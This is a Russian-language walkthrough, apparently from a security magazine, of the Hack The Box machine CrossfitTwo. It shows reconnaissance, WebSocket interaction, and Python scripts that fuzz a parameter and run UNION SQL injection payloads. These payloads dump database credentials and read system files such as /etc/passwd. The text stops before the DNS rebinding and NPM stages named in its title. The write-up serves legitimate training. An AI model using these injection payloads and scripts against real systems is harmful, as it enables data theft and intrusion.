HTB CrossfitTwo. Применяем на практике UNION SQL Injection, DNS rebinding и NPM Planting

Содержание статьи

  • Разведка
  • Сканирование веб-контента
  • Точка входа
  • WebSocket
  • SQL Injection
  • Точка опоры
  • Unbound
  • Конфигурация Unbound
  • DNS rebinding
  • CORS
  • Продвижение
  • Node.js
  • Локальное повышение привилегий

Се­год­ня мы порабо­таем с тех­нологи­ей WebSocket, про­экс­плу­ати­руем UNION SQL Injection, про­ведем ата­ку DNS rebinding, заюзаем багу в при­ложе­нии на Node.js и раз­берем­ся с тем, как авто­ризо­вать­ся на хос­те при помощи YubiKey. Все это поз­волит нам зах­ватить машину Crossfit 2 с пло­щад­ки Hack The Box уров­ня слож­ности Insane.

info

Чи­тай так­же: «HTB CrossFit. Рас­кру­чива­ем слож­ную XSS, что­бы зах­ватить хост».

 

Разведка

Ад­рес машины — 10.10.10.232, добав­ляем его в /etc/hosts как crossfit2.htb и прис­тупа­ем к ска­ниро­ванию пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. В его резуль­тате ата­кующий узна­ет, какие служ­бы на хос­те при­нима­ют соеди­нение. Эта информа­ция поз­воля­ет выб­рать даль­нейший путь к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов для Nmap (опция -A).

По­луча­ем сле­дующие резуль­таты.

Ре­зуль­тат работы скрип­та

Итак, мы име­ем три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.4;
  • 80 — веб‑сер­вер OpenBSD httpd PHP/7.4.12;
  • 8953 — служ­ба Unbound.

Пер­вым делом сто­ит заг­лянуть на дос­тупный сайт.

Стар­товая стра­ница сай­та 

Сканирование веб-контента

Что­бы ничего не оста­лось незаме­чен­ным, информа­цию на сай­те будем собирать через Proxy. В шап­ке сай­та находим навига­цию, а так­же опре­деля­ем, что пос­ледняя ссыл­ка ведет на дру­гой под­домен: employees.crossfit.htb. Добавим его в файл /etc/hosts, так­же изме­ним име­ющуюся у нас запись с crossfit2.htb на crossfit.htb.

10.10.10.232 crossfit.htb employees.crossfit.htb

На самом сай­те нас встре­чает фор­ма авто­риза­ции, боль­ше ничего мы там не получим. Так как все наши дей­ствия фик­сирова­ны в Burp, заг­лянем в Burp History. Там мы обна­ружим, что при обра­щении к глав­ной стра­нице дела­ется зап­рос на еще один под­домен.

Вклад­ка Burp History

До­бавим этот под­домен в файл /etc/hosts и пов­торим зап­рос к глав­ной стра­нице. Затем отпра­вим­ся в Burp и про­верим ответ, который вер­нул сер­вер при зап­росе к новому под­домену.

10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb

Вклад­ка Burp History

В отве­те видим опо­веще­ние о сме­не про­токо­ла на WebSocket.

 

Точка входа

 

WebSocket

WebSocket — это про­токол свя­зи поверх TCP-соеди­нения, пред­назна­чен­ный для обме­на сооб­щени­ями меж­ду бра­узе­ром и веб‑сер­вером в режиме реаль­ного вре­мени. WebSocket осо­бен­но хорош для сер­висов, которые нуж­дают­ся в пос­тоян­ном обме­не дан­ными, нап­ример для онлай­новых игр, тор­говых пло­щадок, чатов.

Пос­ле уста­нов­ления соеди­нения уже нет деления на кли­ент и сер­вер, а есть два рав­ноправ­ных учас­тни­ка обме­на дан­ными. Каж­дый работа­ет сам по себе и, ког­да надо, отправ­ляет дан­ные дру­гому.

Для прос­мотра сооб­щений по про­токо­лу WebSocket перей­дем к Burp WebSocket History. Там находим единс­твен­ное сооб­щение, в содер­жимом которо­го будет при­ветс­твие, информа­ция о коман­де help и какой‑то токен.

Вклад­ка Burp WebSocket History

Ра­ботать с WebSocket будет удоб­но с помощью инте­рак­тивной кон­соли. Ее нес­ложно орга­низо­вать при помощи Python 3 и модуля websockets.

python3 -m websockets ws://gym.crossfit.htb/ws/

Ус­танов­ление соеди­нения WebSockets

Пос­ле под­клю­чения нам сра­зу приш­ло зна­комое сооб­щение. Давай поп­робу­ем получить справ­ку. Сооб­щение с коман­дой нуж­но будет отпра­вить тоже в JSON.

{"command":"help"}

Зап­рос справ­ки

В отве­те нам сооб­щают о невер­ном токене, поэто­му пов­торя­ем отправ­ку, но вклю­чаем новый параметр.

{"command":"help", "token": "29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}

Пов­торный зап­рос справ­ки

На­ше сооб­щение оста­ется без отве­та, а пос­ле пов­торной отправ­ки нам вооб­ще сооб­щают, что токен боль­ше не дей­стви­телен и дают новый токен. Инте­рес­но! Давай поищем фраг­мент кода, который отве­чает за отправ­ку сооб­щений. В панели бра­узе­ра перехо­дим к вклад­ке Debug и находим файл ws.min.js.

Пов­торный зап­рос справ­ки

В коде находим отправ­ку сооб­щения в парамет­ре message и токена — в парамет­ре token. Отправ­ляем свое сооб­щение в ана­логич­ном фор­мате.

{"message":"help","token":"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}

Пов­торный зап­рос справ­ки

На­конец нам при­шел ответ, отку­да мы узна­ем о трех дос­тупных коман­дах: coaches, classes и memberships.

От­пра­вим все три коман­ды и вни­матель­но пос­мотрим на ответ сер­вера.

Ко­ман­да coaches

Ко­ман­да classes

Ко­ман­да memberships

Во всех слу­чаях нам вер­нули HTML-код стра­ницы. В пер­вом вари­анте мы получа­ем прос­то информа­цию о тре­нерах, во вто­ром — спи­сок занятий, а вот в ответ на коман­ду memberships заод­но со спис­ком при­езжа­ет выбор опций. Реали­зован он как фун­кция check_availability, в которую переда­ется чис­ло от 1 до 4. Пос­мотрим код этой фун­кции в уже зна­комом фай­ле ws.min.js.

Код фун­кции check_availability

Фун­кция отправ­ляет три парамет­ра:

  • message — содер­жит стро­ку available;
  • params — чис­ло, передан­ное в фун­кцию;
  • token.

{"message":"available","params":"1","token":"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266446ef8345f9e01e83e6233"}

От­прав­ка сооб­щения available

В этом сооб­щении я отпра­вил четыре парамет­ра и получил два раз­ных вари­анта отве­та: успешный и нет. При этом мы еще получа­ем пояс­нение в парамет­ре debug. То есть мы отправ­ляем параметр, который сис­тема обра­баты­вает и дает резуль­тат, а зна­чит, это мес­то для тес­тирова­ния!

Даль­ше я написал скрипт на Python 3, который в цик­ле зап­рашива­ет параметр.

#!/usr/bin/python3import jsonfrom websocket import create_connectiondef send_command(ws, token): inp = input("> ") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']for _ in range(100): token = send_command(ws, token)

Ре­зуль­тат работы скрип­та

Все работа­ет, идем даль­ше.

 

SQL Injection

Так как ответ выбира­ется в зависи­мос­ти от отправ­ленно­го парамет­ра, пер­вым делом я решил про­верить SQL-инъ­екцию. Бла­го я регуляр­но сос­тавляю сло­вари для тес­тов и нуж­ный как раз имел­ся под рукой. Что­бы исполь­зовать его, нем­ного под­пра­вим код.

#!/usr/bin/python3import jsonimport timefrom websocket import create_connectiondef send_command(ws, token): inp = input("> ") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokendef send_command2(ws, token, inp): print("input: <" + inp + ">") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f: wordlist = f.read().split('n')[:-1]for w in wordlist: token = send_command2(ws, token, w)

Ре­зуль­тат работы скрип­та

При отправ­ке любого сооб­щения, содер­жащего двой­ную кавыч­ку ("), отве­та мы не получа­ем. По этой при­чине исклю­чим из сло­варя любую наг­рузку, содер­жащую этот сим­вол. И пов­торим выпол­нение.

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

Прос­матри­вая вывод, обна­ружим реак­цию сер­вера на четыре наг­рузки. Смот­рим ком­мента­рий SQL:

  • 1 and 1 и 1 and true вер­нет дей­стви­тель­ный ответ;
  • 1 and 0 и 1 and false вер­нет наш ввод;
  • 1 -- - вер­нет дей­стви­тель­ный ответ.

Я нашел уяз­вимость, и теперь ее нуж­но экс­плу­ати­ровать. Пер­вым делом най­дем наг­рузки для экс­плу­ата­ции, поэто­му сме­ним сло­варь и пов­торим выпол­нение скрип­та.

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

В резуль­тате есть реак­ция на UNION-наг­рузки. А имен­но при отправ­ке -1 UNION ALL SELECT 1,2# получим ответ, параметр name которо­го содер­жит 2, а при отправ­ке -1 UNION ALL SELECT USER(),SLEEP(5)--, в парамет­ре id отве­та при­сутс­тву­ет имя поль­зовате­ля базы дан­ных. Такая уяз­вимость называ­ется UNION SQL Injection и поз­воля­ет добавить к выбор­ке стол­бцы таб­лицы, которые ранее были нам не вид­ны.

Вер­нем пос­ледние две стро­ки нашего пер­воначаль­ного скрип­та для руч­ной работы и прис­тупим к экс­плу­ата­ции.

for _ in range(100): token = send_command(ws, token)

Пер­вым делом получим вер­сию базы дан­ных.

-1 UNION ALL SELECT 1,@@version #

Вер­сия базы дан­ных

На хос­те работа­ет MySQL, поэто­му даль­ше мы будем исполь­зовать ее син­таксис. Получим име­на всех име­ющих­ся баз. Мы можем выводить все­го одну стро­ку, поэто­му исполь­зуем фун­кцию GROUP_CONCAT для объ­еди­нения нес­коль­ких строк в одну, а раз­делите­лем будет про­бел.

-1 UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM information_schema.schemata #

Спи­сок имен баз

Ба­за information_schema слу­жеб­ная, поэто­му нас не инте­ресу­ет. Давай узна­ем при­виле­гии нашего поль­зовате­ля в дру­гих базах.

-1 UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', privilege_type, 'n') FROM information_schema.schema_privileges #

При­виле­гии поль­зовате­ля для баз

Мы можем работать как с базой crossfit, так и с базой employees. Для начала получим наз­вания таб­лиц.

-1 UNION ALL SELECT 1,GROUP_CONCAT('n', table_schema, ': ',table_name) FROM information_schema.tables WHERE table_schema = 'crossfit' OR table_schema = 'employees' #

Таб­лицы в базах crossfit и employees

В базе crossfit ничего инте­рес­ного не наш­лось — надеж­ду подава­ла таб­лица password_reset, но она ока­залась пус­той.

По­лучим наз­вания стол­бцов в таб­лице employees.

-1 UNION ALL SELECT 1,GROUP_CONCAT('n', column_name) FROM information_schema.columns WHERE table_name = 'employees' #

Стол­бцы в таб­лице employees

Мы можем получить учет­ные дан­ные для сай­та. Зап­росим име­на, пароли и адре­са элек­трон­ной поч­ты.

-1 UNION ALL SELECT 1,GROUP_CONCAT('n', username, ' ', password, ' ', email) FROM employees.employees #

Со­дер­жимое таб­лицы employees

У нас есть четыре поль­зовате­ля и хеши от их паролей. С помощью ути­литы hashid опре­делим тип хешей.

Ре­зуль­тат работы hashid

На­ибо­лее веро­ятным будет хеш SHA-256 из‑за его популяр­ности, одна­ко с нас­кока сло­мать хеши и авто­ризо­вать­ся на сай­те не выш­ло. Ни в онлай­новых базах, ни с помощью локаль­ного перебо­ра узнать хоть один из про­обра­зов хеша не уда­лось. Поэто­му пос­мотрим, какие еще у нашего поль­зовате­ля базы дан­ных есть при­виле­гии.

-1 UNION ALL SELECT 1,GROUP_CONCAT('n', grantee, ' ', privilege_type) FROM information_schema.user_privileges #

При­виле­гии поль­зовате­ля базы дан­ных

Мы можем читать фай­лы на хос­те! Пер­вым делом, конеч­но же, про­чита­ем /etc/passwd.

-1 UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #

На­ходим поль­зовате­лей node, david и john, у которых есть воз­можность логинить­ся в сис­тему. А пос­коль­ку мы име­ем дело с OpenBSD, абсо­лют­но все служ­бы тоже отра­жены в этом фай­ле. Прос­мотрев этот спи­сок, отме­тим демон relayd, который может дать нам новые адре­са, и unbound, так как у него есть дос­туп на внеш­ний порт 8953. Сна­чала пос­мотрим нас­трой­ки релея, про­читав файл /etc/relayd.conf.

-1 UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #

Со­дер­жимое фай­ла /etc/relayd.conf

Так мы находим еще один домен crossfit-club.htb, который добавим в файл /etc/hosts. Сра­зу прос­мотрим одно­имен­ный сайт, который нас встре­чает фор­мой авто­риза­ции.

Фор­ма авто­риза­ции

Так как зап­росы мы по‑преж­нему дела­ем через Burp Proxy, нам это помога­ет опре­делить под­клю­чение неко­его API, о чем говорит обра­щение к /api/auth.

Вклад­ка Burp History

При попыт­ке авто­риза­ции с тес­товыми учет­ными дан­ными обна­ружи­ваем еще одну стра­ницу, которая работа­ет с фор­матом JSON.

Вы­пол­нение зап­роса на авто­риза­цию

К тому же на сай­те име­ется фор­ма регис­тра­ции. Кноп­ка в ней может быть и отклю­чена, но мы можем поп­робовать все рав­но авто­ризо­вать­ся — при помощи Burp Repeater. Получим име­на перемен­ных из исходно­го кода стра­ницы и отпра­вим тес­товые дан­ные на /api/signup. Но в отве­те нам ска­жут, что эта фун­кция дос­тупна толь­ко адми­нис­тра­тору.

Фор­ма регис­тра­ции

Вы­пол­нение зап­роса на регис­тра­цию

Тут пока боль­ше ничего не сде­лать, поэто­му идем даль­ше.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *